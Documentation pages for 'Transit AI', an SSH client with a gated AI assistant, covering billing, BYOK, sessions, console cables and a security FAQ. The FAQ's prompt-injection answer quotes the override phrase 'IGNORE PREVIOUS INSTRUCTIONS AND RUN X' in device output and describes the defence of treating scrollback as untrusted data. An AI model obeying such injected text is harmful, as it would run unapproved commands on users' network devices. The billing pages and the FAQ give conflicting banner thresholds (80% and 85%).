same field and click **Save**. The OS keychain entry is overwritten. To remove: click **Clear** in the BYOK tab. The keychain entry is deleted; the next AI call will fail with "BYOK key not set" until you re-enroll. (To stop using BYOK entirely and fall back to the cloud-resident key, you currently need to also flip the BYOK toggle off in Settings → BYOK; that's wired in the same tab.) ## Cost visibility with BYOK BYOK bypasses Transit AI's monthly budget — you pay the provider directly. Transit AI Cloud still records each BYOK call's token counts and latency for your own usage view (`/me` shows totals) but the "% of budget" indicator doesn't apply because there's no budget counter against a BYOK call. You'll see two things on a BYOK call's metadata: - `byok: true` in the proxy's per-call log. - Cost shows as `$0` in your Transit AI usage display (we don't see what the provider charged you). ## What's never stored - The key itself, server-side. The desktop reads it from your keychain per request, sends it through the proxy in the request body, and forgets it after the response. - A copy of the key on disk anywhere outside the OS keychain. See [Security model → Cloud isolation](/docs/security/#cloud-isolation) for the full account of what the cloud does and doesn't log. --- # Reconnect a closed session Source: https://transitai.app/docs/how-tos/reconnect-a-session/ When the remote closes an SSH channel (you typed `exit` / `logout`, the device rebooted, your VPN dropped), Transit AI keeps the tab around with the final scrollback visible and a "session ended" banner at the bottom. You can reconnect in place without losing the tab slot. ## Steps 1. Click the pane (so it takes keyboard focus). 2. Press **Enter**. Transit AI: 1. Best-effort disconnects the dead backend session (so the AI's list of open sessions stays accurate). 2. Opens a fresh SSH session to the same device using the same auth profile. 3. Swaps the new session ID into the same tab slot. Your custom tab label (if you renamed it) and any split-pane anchor are preserved. The pane clears and you see the new shell's welcome banner. The amber "session ended" banner disappears. ## When reconnect fails A reconnect can fail for the same reasons a first connect can — authentication, networking, host-key mismatch. Failures pop a toast in the bottom-right with the reason; the dead pane stays in place so you can retry by pressing Enter again, or close it manually. ## Mass reconnect after a network blip There's no "reconnect everything" button in v1. Each tab needs an individual Enter. Auto-reconnect-on-blip is on the roadmap. ## Why not just open a new tab? You can — right-click the device in the sidebar and **Connect** again, and the dead tab can be closed manually. Press-Enter reconnect saves a click and preserves tab order, which matters when you've laid out multiple panes deliberately. --- # Split panes side-by-side Source: https://transitai.app/docs/how-tos/split-pane/ A split-pane tab shows two SSH sessions side-by-side in the same tab. Useful when you're cross-referencing two devices (a switch and the firewall in front of it; two halves of an HA pair). ## Steps — open a split 1. Make sure the **left** session is already open (it'll be the primary; the new session becomes the right pane). 2. Right-click the tab in the strip. 3. Hover **Split right with…**. A submenu lists every device in your inventory, with the current tab's device shown first (you can split with itself for a second session of the same host). 4. Click the device you want as the right pane. 5. Transit AI opens a new SSH session to that device and renders it as the right pane. ## Resize Drag the vertical divider between the two panes left or right. The percentage split is per-tab and resets to 50/50 if you reopen the tab. ## Unsplit There's no explicit "unsplit" command. Close the right pane to return to a single-pane tab: - Click **Disconnect** in the right pane's header. The remote session ends; the right pane disappears. - OR right-click the right pane's tab area — actually the right pane has no tab of its own. The X on the primary tab closes **both** sessions (cascading close); use that only when you want to close the whole tab. ## What's the same as a non-split tab - Both panes have their own scrollback, search overlay, and paste confirmation. - Per-device preferences (syntax highlighting, quick copy/paste) apply to each pane independently based on its device. - Press **Enter** in either pane to reconnect it if its session ends. The other pane is unaffected. ## What's different - Tab labels show only the primary device's ID. The right pane's device isn't surfaced in the tab strip. - The AI sees both sessions as peers when it lists your open sessions — there's no notion of "split" at the backend level. --- # Billing & usage Source: https://transitai.app/docs/billing/ Transit AI is a paid product from sign-up — three tiers, no free plan, no trial. This page covers how the AI budget works, what happens when you approach or hit your limits, and how Bring Your Own Key (BYOK) gives you an alternative path when you do. ## The three plans | Plan | Price | AI models | Monthly AI budget | BYOK | |---|---|---|---|---| | **Operator** | $29/month | Easy + Medium | Lowest | Not included | | **Pro** | $79/month | All models | Higher | $100 one-time unlock | | **Max** | $199/month | All models | Highest | $100 one-time unlock | Annual billing is 12× the monthly rate — no annual discount. The choice between monthly and annual is "which invoice cadence do you prefer," not "how much do you save." Token costs dominate either way. You can switch plans, cancel, or update payment details anytime from the [account page](/account/) — that opens our payment processor's hosted customer portal, which handles prorations automatically. ## What is the "monthly AI budget"? Every subscription tier includes a monthly token allowance for AI queries. The AI in Transit AI uses large language models (Anthropic Claude, OpenAI GPT) that meter usage by input + output tokens. Your tier's budget is the dollar amount we'll spend on those tokens per billing period before stopping. The exact dollar amount per tier is sized so token cost remains roughly 80% of what you paid for the subscription. The remaining 20% covers everything else: payment processing, identity, the proxy infrastructure, and our margin. Usage doesn't show as raw dollars in the app — instead the chat panel shows the percentage of your monthly budget consumed. Around 80% you'll see a banner. ## What happens at your limit? This is the question that matters most when usage is high. There are three escalation points, each with a clear next step. ### At ~80% of your monthly budget A yellow banner appears in the chat panel: *"You've used 80% of this month's AI budget."* Four options open at this point: 1. **Wait.** Your budget resets at the start of the next billing period. If you're at 80% and the period ends in a week, you might just want to coast. 2. **Enable overage.** Settings → Billing has an opt-in toggle. When on, the AI keeps running past your budget cap; usage past the cap bills at **1.25× the AI provider's per-token cost**, capped at **2× your monthly subscription price**. So a $79 Pro plan with overage on would bill at most $158 above the base for a single month. 3. **Switch to BYOK.** If you've purchased the BYOK unlock on Pro or Max ($100 one-time, see below), flip the toggle in Settings → Billing to **Use BYOK**. From then on, the AI uses your own provider API key — your tokens, billed directly by Anthropic or OpenAI to your provider account. No Transit AI budget consumed. 4. **Upgrade your tier.** Move from Operator to Pro, or Pro to Max, from the [account page](/account/). Upgrades pro-rate immediately; you pay the difference between what's left of your current period and the new tier's price. ### At your budget cap (overage off) A red banner appears, and the AI stops answering new queries. The chat panel explains why and offers the same options as above, minus "wait" — your budget is already exhausted. You can: - **Wait** until the billing period resets (same option as before, but now the AI is actually paused, not just warning you) - **Enable overage** and continue with metered billing - **Switch to BYOK** and continue with your own keys - **Upgrade your tier** for a larger budget Existing SSH sessions are unaffected by the AI cap — the terminal still works normally. The cap only applies to the AI assistant. ### At your overage cap (overage was on) If you opted into overage and exhausted that too — i.e., you spent 2× your monthly subscription on token costs in a single period — the AI pauses for the rest of the period. Two options remain: - **Switch to BYOK** (if you have the unlock) and continue - **Upgrade your tier** for a larger budget The 2× cap exists so a runaway prompt loop or compromised credential can't drain an unlimited amount; we'd rather pause than surprise-bill you. ## BYOK — Bring Your Own Key The BYOK unlock is a one-time $100 purchase on Pro or Max that adds a toggle to your Settings: **Use Transit AI** (default — we provide the AI keys, metered against your budget) or **Use BYOK** (you provide an Anthropic or OpenAI key, AI charges go to your provider account). When BYOK is on: - The AI uses the key you've enrolled in Settings → BYOK - Your token usage is billed by Anthropic / OpenAI directly to your account on file with them - Transit AI doesn't see your provider key beyond passing it through to the provider per-request — the key isn't stored on Transit AI's servers - The Transit AI monthly budget isn't consumed by BYOK requests **Use cases for BYOK:** - **Compliance.** Some organizations require all AI calls to be billed to their own provider account for SOC 2 audit trail. - **Heavy usage.** A power user who routinely exceeds the included budget may find BYOK cheaper than tier upgrades + overage. - **Existing credits.** If you have unused Anthropic or OpenAI credits from a trial or partnership, BYOK lets you burn them down through Transit AI. BYOK is **not** required for normal use. The default Transit-AI-funded path covers most network engineers comfortably. ## Managing your subscription The [account page](/account/) is the entry point. Click **Manage subscription** to open the payment processor's customer portal, where you can: - Update payment method - Change plan (Operator ↔ Pro ↔ Max) - Cancel subscription (effective at period end) - View invoice history - Update billing address Cancellations take effect at the end of the current billing period — the AI keeps working through the period you've already paid for. After cancellation, your SSH sessions still work; only the AI assistant becomes unavailable. ## What if I change plans mid-period? **Upgrading (Operator → Pro → Max):** The new plan takes effect immediately. You're charged the pro-rated difference between what's left of your current period and the new plan's price. Your monthly AI budget jumps to the new tier's larger allowance for the rest of the period, with whatever you've already used carried over. **Downgrading (Max → Pro, Pro → Operator):** The new plan also takes effect immediately. The payment processor credits you for the unused portion of the higher tier and bills the lower tier for the rest of the period. **One thing to know about downgrading:** your AI usage for the current period is measured against the **new** (lower) budget. If you'd already used a sizable share of the higher tier's budget, you may find that your usage already meets or exceeds the lower tier's cap. In that case the AI pauses for the rest of the period — same options apply ([wait, enable overage, switch to BYOK, or re-upgrade](#what-happens-at-your-limit)). The mental model is: your monthly AI budget is tied to the billing period, not the tier choice within it. Tier change adjusts the cap that period's accumulated spend is measured against. We don't reset the spend counter, so a downgrade-after-heavy-use doesn't grant a fresh allowance. **The simplest pattern that avoids surprises:** make tier changes at the start of a billing period rather than mid-period if you're near your budget. **Refreshing the desktop after a plan change:** the desktop app reads your subscription state at sign-in. If you change plans via the customer portal, sign out and back in on the desktop to pick up the new state. (We'll lift this in a future release.) ## Refunds Refund requests are handled case by case. Reach out at [support@transitai.app](mailto:support@transitai.app) within 30 days of the charge and tell us what happened — we'll work with you. ## Related - **[Pricing](/pricing/)** — current rates + sign-up - **[Getting Started](/docs/getting-started/)** — full sign-up walkthrough - **[Security model](/docs/security/)** — how the AI is structurally prevented from reading your credentials or running arbitrary commands - **[FAQ](/docs/faq/)** — common pre-purchase questions --- # Connect to a console cable Source: https://transitai.app/docs/how-tos/console-cable/ Transit AI supports USB-to-serial console cables (FTDI, Silicon Labs, Prolific) for out-of-band access to network gear. The same agent and terminal that drive SSH sessions drive console sessions identically. > **Cable compatibility:** Not every USB-to-serial cable has been > tested with Transit AI — but [this one](https://www.amazon.com/dp/B0774JV2QQ) > has, and is a safe starting point if you don't already own one. **Platform support:** macOS only in v1. Windows and Linux are planned follow-ups. ## When does the console section appear? The **Console cables** section in the sidebar is **hidden when no cables are plugged in**. Plug a USB-to-serial cable into your machine and the section appears at the bottom of the sidebar above the account chip. If the cable's chip is detected but no `/dev/cu.*` node appears, macOS hasn't loaded the driver. Transit AI surfaces this with a "FTDI/SiLabs/Prolific driver not loaded — install the VCP driver and approve in System Settings → Privacy & Security" warning. Most cables ship with macOS-compatible drivers; the Silicon Labs CP210x is a common one. ## Open the console-connect dialog 1. Find the cable in the **Console cables** section of the sidebar. 2. Click the row. The Console connect dialog opens. ## Fields | Field | Default | Notes | |---|---|---| | **Vendor** | Junos | Selects the per-vendor permit list (same as SSH devices). | | **Baud** | 9600 | Common rates: 9600, 19200, 38400, 57600, 115200. Most network gear is 9600. | | **Data bits** | 8 | Almost always 8. | | **Parity** | None | Almost always None. | | **Stop bits** | 1 | Almost always 1. | | **Flow control** | None | Some older gear uses RTS/CTS hardware flow control. | The defaults (Junos / 9600 8N1 / no flow) match the majority of network device configurations. ## Steps 1. Plug the USB-to-serial cable into your Mac and the device's console port (an RJ45 → USB cable for Cisco, a DB9 → USB cable for older Juniper / Arista, etc.). 2. Approve any driver prompt your OS surfaces. 3. Confirm the cable appears in the **Console cables** section in the sidebar. 4. Click the row. 5. Pick the **Vendor** that matches the device on the other end. 6. Tweak the serial settings if your device deviates from 9600 8N1. 7. Click **Connect**. A new tab opens with the console session. ## Mid-session unplug If you yank the cable mid-session, the tab is marked **ended** (same UX as an SSH session whose remote closed). The scrollback survives until you close the tab; press Enter to reconnect once the cable is plugged back in. ## What's the same as an SSH session - Vendor selection uses the same per-vendor permit list. - The AI reads scrollback the same way (with secrets stripped out) and proposes commands through the same approval dialog. - Multi-line paste confirmation, syntax highlighting, quick copy/paste — all per-device toggles that apply to console sessions identically. ## What's different - No host-key TOFU prompt (it's a local serial port, not a remote host). - No authentication step at the Transit AI layer — auth happens at the device's login prompt over the serial line. --- # Export a session's scrollback Source: https://transitai.app/docs/how-tos/export-a-session/ Export saves an SSH session's scrollback to a file. The bytes are re-redacted on save (PEM blocks, passwords, AWS keys, JWTs stripped), and you can optionally encrypt the file with a passphrase using [age](https://github.com/FiloSottile/age). A shared transcript can't accidentally leak credentials — even ones that escaped redaction at display time get a second pass on export. ## Steps 1. Right-click the tab in the strip. 2. Pick **Export scrollback…**. The Export dialog opens. 3. Pick an encryption mode: - **None** — writes plaintext `.log`. - **Age passphrase** — writes `.log.age` encrypted with the passphrase you supply. 4. If you chose passphrase encryption, enter the passphrase (twice, to confirm). 5. Click **Export**. A native save dialog opens with a default filename derived from the tab's label and current timestamp. 6. Pick a location and click **Save**. The file is written to disk via Transit AI's process, not through the browser — no clipboard hop. ## Decrypting an age-encrypted export ```bash age -d transcript.log.age > transcript.log ``` The `age` binary is on Homebrew (`brew install age`) and most Linux distros' package managers. The passphrase prompt matches what you typed in the dialog. ## Why re-redact on save? The redaction filter runs continuously on incoming bytes, but a fresh pass at save time catches anything the streaming filter might have missed: - Patterns added since the session opened (we sometimes ship pattern updates in patch releases). - Multi-line patterns (PEM, SSH key blocks) that the streaming filter sees in chunks and the save filter sees in full. The re-redaction is non-destructive in memory — the original bytes in the live terminal pane aren't modified. ## File format Plain UTF-8. Line endings are preserved as they were in the device output. No metadata header — just the raw redacted scrollback. For binary-safe export (preserving ANSI escapes, alt-screen state), the file is byte-for-byte what was in the terminal's scrollback buffer, minus any redactions. --- # Turn on syntax highlighting Source: https://transitai.app/docs/how-tos/syntax-highlighting/ Syntax highlighting colorizes keywords and status words in the terminal output as a device emits them. Off by default; toggle is **per-device** so it's on for the lab gear you care about and off for everything else. ## Steps There are two places to flip the toggle: ### When adding a new device 1. Open the new-device dialog (sidebar **+** button). 2. Fill in the device fields. 3. Tick **Syntax highlighting** at the bottom of the form. 4. Click **Save**. ### On an existing device 1. Right-click the device row in the sidebar. 2. Pick **Edit device…**. 3. Tick **Syntax highlighting**. 4. Click **Save**. The change takes effect on the next line of output — no reconnect needed. A small "syntax highlighting" badge appears in the pane header when this device has highlighting on. ## What gets highlighted - Interface / link state words: `up`, `down`, `administratively down`. - Protocol state: `established`, `idle`, `active`. - BGP / OSPF state. - MAC addresses, IPv4 addresses (in some contexts). - Generic positive / negative tokens (`enabled`, `disabled`, `permit`, `deny`). The patterns are vendor-agnostic in v1. Per-vendor packs (Cisco BGP state shapes, Junos `commit complete`, etc.) are a follow-up. ## When highlighting auto-bypasses Full-screen programs like `vi`, `less`, `top`, `htop`, `tmux` need precise control over the terminal — colorizing their output would garble them. Highlighting auto-bypasses while the device is in the alternate screen (the standard ANSI sequence `\x1b[?1049h` that those programs send to take over the terminal). The pane header's badge stays visible but the highlighter is a no-op until the alt screen is exited. --- # Turn on quick copy/paste Source: https://transitai.app/docs/how-tos/quick-copy-paste/ Quick copy/paste is a per-device toggle that enables familiar mouse-driven copy and paste: - **Auto-copy on selection** — selected text writes to the clipboard immediately on selection (no Cmd-C needed). - **Right-click paste** — right-clicking in the pane pastes the clipboard. - **Middle-click paste** — middle-clicking pastes too (familiar to X11 users). Off by default. When off, the terminal behaves like a normal terminal — Cmd/Ctrl-C and Cmd/Ctrl-V do what you'd expect. ## Steps ### When adding a new device 1. Open the new-device dialog (sidebar **+** button). 2. Fill in the device fields. 3. Tick **Quick copy/paste**. 4. Click **Save**. ### On an existing device 1. Right-click the device row in the sidebar. 2. Pick **Edit device…**. 3. Tick **Quick copy/paste**. 4. Click **Save**. The change takes effect on the next click in any open pane for this device. ## What still asks for confirmation **Multi-line pastes** always prompt for confirmation regardless of the quick copy/paste setting. Pasting a `\n`-bearing clipboard into a network device sends each line as a separate command, so the prompt is a guardrail against an accidental "I copied 40 lines of config and middle-clicked". The confirm dialog shows the full paste preview and the line count. Click **Paste** to send, **Cancel** to abort. ## What clicks do when quick copy/paste is OFF | Action | Behavior | |---|---| | Left-click drag | Selects text. Selection is NOT auto-copied; use Cmd/Ctrl-C. | | Right-click | Default terminal context menu. | | Middle-click | Default terminal behavior (typically does nothing). | | Cmd/Ctrl-V | Pastes (single-line goes through immediately; multi-line prompts). | ## What clicks do when quick copy/paste is ON | Action | Behavior | |---|---| | Left-click drag | Selects text. Selection auto-copies to the clipboard. | | Right-click | Reads clipboard, pastes. Single-line goes through; multi-line prompts. | | Middle-click | Reads clipboard, pastes. Single-line goes through; multi-line prompts. | | Cmd/Ctrl-V | Same as right-click. | --- # FAQ Source: https://transitai.app/docs/faq/ ## General ### What is Transit AI? A cross-platform GUI SSH client with an embedded read-only AI assistant for investigating network gear (switches, routers, firewalls). Every command the AI proposes passes a per-vendor permit list AND your explicit click. The familiar multi-session tab UX you already know, modernized. ### Who is it for? Network engineers who spend a lot of time in SSH and want help investigating without giving up control over what runs on the device. ### What platforms? macOS (Apple Silicon — macOS 12+), Windows, Linux. No Intel macOS build. ### Is the source available? Transit AI is closed-source commercial software. The security model is documented in detail (see [Security](/docs/security/) and our threat model) but the source isn't published. ## Account & sign-in ### How do I sign up? The public beta isn't open yet — the **Sign up** buttons across the site lead to a "coming soon" page until then. Once we flip the launch switch, the same buttons will route into our hosted identity provider where you'll create an account. On first sign-in, a personal organization is auto-created so subscription and billing always attach to an org for a uniform model. ### Does the desktop app talk to the website? No. The desktop signs in by launching your system browser at the cloud's OAuth endpoint, which returns through a `transit://` deep link. The website doesn't proxy desktop traffic. ### What does sign-in actually give me? Sign-in attaches your subscription to your account, then unlocks the AI agent: cloud-resident provider key metered against your tier's monthly token budget, with the option to **bring your own API key** (Anthropic or OpenAI) on Pro and Max tiers. ## Pricing ### How much is it? Three paid tiers, no free tier: - **Operator** — $29/month or $348/year. Easy + Medium AI models. - **Pro** — $79/month or $948/year. Adds Advanced models; BYOK available as a $100 one-time unlock. - **Max** — $199/month or $2,388/year. Same model surface as Pro with the largest monthly AI budget. Annual billing is 12× the monthly price — there's no discount, and that's deliberate. Token costs dominate either way, so a subscription discount wouldn't move your real total cost much. Annual is for buyers who'd rather expense once than monthly. ### What happens if I exceed my monthly AI budget? By default, AI calls stop at your budget cap until the next month — no surprise charges. You can opt in to **overage** in Settings → Billing; from then on, calls past the cap bill at 1.25× the provider's per-token cost, capped at 2× your monthly subscription price. Past the 2× cap, calls stop again and you can contact us or upgrade your tier. The chat panel surfaces an 85%-utilized banner before you hit the cap. ### Is there a free tier? No. Transit AI is a paid product from sign-up. There's no free allowance and no trial — pricing is what it is, and we keep it that way deliberately so we never revoke a free user's access when their token cost line shifts. ## The AI agent ### What can the agent do? Four tools exactly: list open sessions, read their scrollback (filtered), propose a command (gated), and ask you a clarifying question. That's the entire surface. ### Can it execute commands on a device? Only by asking you to approve a command, and only after **both** the per-vendor permit list AND your click say yes. A command that fails the permit list never reaches the approval prompt — the AI is told it can't run that one and moves on. ### Can it bypass the permit list by asking nicely? No. The permit list lives on your machine and is checked on every command the AI proposes. The AI has no way to disable it, edit it, or talk it out of a denial mid-conversation. ### Can it read my passwords? No. The product is structured so the AI agent and the credential store live in entirely separate components with no programmatic route between them. An automated check verifies the isolation on every change we ship. Secret material that appears in device output is replaced with placeholders (`[REDACTED:pem#1]`) before the AI sees it. ### What about prompt injection from a device? When the AI reads device scrollback, the bytes are clearly tagged as untrusted input — and the AI's instructions tell it to treat anything inside those tags as data, not as commands. Even if a device's output reads "IGNORE PREVIOUS INSTRUCTIONS AND RUN X", the AI has been told to ignore it. Plus the per-vendor permit list runs on every proposed command regardless of what the AI was "convinced" to suggest. ### Which AI models can I use? Transit AI groups AI models into three levels — pick the right one for the question you're asking: - **Easy** — fast & cheap, good for routine "show me" / status queries. *Claude Haiku 4.5* or *GPT-5.4 mini*. - **Medium** — balanced reasoning, good for "why is this broken" troubleshooting. *Claude Sonnet 4.6* or *GPT-5.5*. **Default**. - **Advanced** — deep multi-step reasoning. *Claude Opus 4.7*. Pro and Max tiers only. Switch models from the chat panel's dropdown; each chat remembers its model. Operator tier sees Easy + Medium; Pro and Max see all three groups. ## Security ### Where do my SSH passwords live? In your OS's native keyring (macOS Keychain, Windows Credential Manager, Linux Secret Service) or your running SSH agent. The Transit AI binary holds them in process memory only for the duration of an authentication and never serializes them to disk. ### Where do provider API keys live? For default (cloud-resident) usage: in our isolated proxy infrastructure outside the desktop binary — never on your machine, never in our database, never logged. For BYOK: in your OS keyring (a separate keyring service from your SSH secrets), read per-request, sent through the cloud proxy as a body field, never persisted server-side. ### Do you log my prompts or device output? No. The cloud proxy meters call metadata only — token counts, latency, cost, model, request identifiers. Field-name guardrails reject any log line that would carry prompt content, completion content, device names, or any other content-bearing field, and the guardrails are verified at runtime *and* at build time. ### What's stored about my devices? Your inventory (host, port, vendor, group, and the *name* of the credential to use — never the credential itself) is stored in a TOML file on your machine at the OS's standard application config path. None of it leaves your machine except via SSH to the device itself, or via filtered scrollback excerpts sent to the AI when you're actively asking it a question. ## Operational ### What if my SSH connection drops? Press **Enter** in the dead pane to reconnect. The tab stays in its slot, the new session opens against the same device, and any custom tab label / split anchor is preserved. ### Can I use it without the agent? Yes. The chat panel is hidden by default (toggle with **Cmd/Ctrl+J**). The terminal works standalone — connect, type, scroll, copy/paste. ### Does it work behind a corporate proxy? For SSH: subject to your proxy's outbound rules — Transit AI doesn't add a layer. For the AI assistant: traffic goes to `api.transitai.app` over HTTPS. The desktop is configured to talk only to that hostname and our identity provider, so those are the two domains your proxy needs to allow. ### Can I run it offline? The SSH client works offline — it's just a terminal. The AI agent needs `api.transitai.app` reachable; without it the chat panel shows an "offline" banner and disables the send button.